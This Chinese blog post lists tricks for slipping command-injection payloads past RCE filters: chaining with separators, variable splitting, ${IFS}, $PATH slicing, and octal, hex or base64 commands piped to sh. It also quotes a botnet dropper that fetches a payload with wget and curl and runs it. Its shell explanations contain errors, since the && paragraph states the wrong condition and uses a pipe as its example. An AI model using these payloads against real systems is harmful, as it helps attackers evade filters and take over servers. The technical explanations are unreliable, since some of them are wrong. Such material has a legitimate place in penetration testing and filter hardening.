RCE绕过那些事


总结一下常见的RCE绕过方法和小技巧

连接符绕过

Linux系统中有一些常见的命令连接符号,例如|||&&&;

&;作用类似,会将分隔的命令依次执行,不同之处在于;不需要用空格拼接,以下例子中所有的命令都会被执行

id & whoami
id ; whoami
id;whoami

|只会执行分隔符后的命令,以下的命令中只有whoami会被执行

ping localhost | whoami

||分隔符的后一个命令只有在前一个命令执行失败时才会被执行,例如某僵尸网络下载所使用的bash脚本

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://url/payload; curl -O http://url/payload;cat payload >RUN;chmod +x *;./RUN

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /使用||分隔符来在傀儡机上找到一个合适的目录下载payload

&&分隔符只有在前一个命令执行成功时才会执行下一个命令,如以下命令command2必须在command1执行失败时才会执行

command1 | command2

变量绕过

我们可以用变量来绕过字符串匹配,例如

a=fl;b=ag;cat $a$b

使用未初始化的变量绕过也是一种方法

cat /etc/pa${s}ss${b}wd

IFS(Internal Field Separator,内部字段分隔符)是一个环境变量,用于定义在Bash shell中如何分隔单词和行,如以下命令

ping${IFS}127.0.0.1${IFS}-t${IFS}3

也可以从环境变量中截取字符串并拼接命令,例如

${PATH:5:1}${PATH:2:1}

${PATH:5:1}表示从 PATH 变量的第 5 个字符开始提取一个字符

${PATH:2:1}表示从 PATH 变量的第 2 个字符开始提取一个字符

因此,${PATH:5:1}${PATH:2:1}将会得到两个字符的组合,分别是从 PATH 的第 5 个字符和第 2 个字符提取的结果

如果PATH的值是/usr/local/sbin:/usr/local/bin,那么从PATH的第5个字符开始提取一个字符会得到l,而从PATH的第2个字符开始提取一个字符会得到s,最后拼接执行的命令为ls

编码绕过

在Linux中,可以使用\转义符来表示八进制字符,例如,要执行命令id,可以使用八进制编码

$ echo -e "\151\144" | sh

这里\151表示字符i的八进制编码,\144表示字符d的八进制编码。

类似地,可以使用\x转义符来表示十六进制字符,同样以执行命令id为例

$ echo -e "\x69\x64" | sh

这里\x69表示字符i的十六进制编码,x64表示字符d的十六进制编码

使用base64命令可以对命令进行Base64编码和解码

$ echo "id" | base64
$ echo "aWQ=" | base64 -d | sh

第一行将命令id编码为Base64,第二行将Base64编码的字符串解码为原始命令

声明:Iruko的小站|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - RCE绕过那些事


優しい世界に 誰だって行きたいわ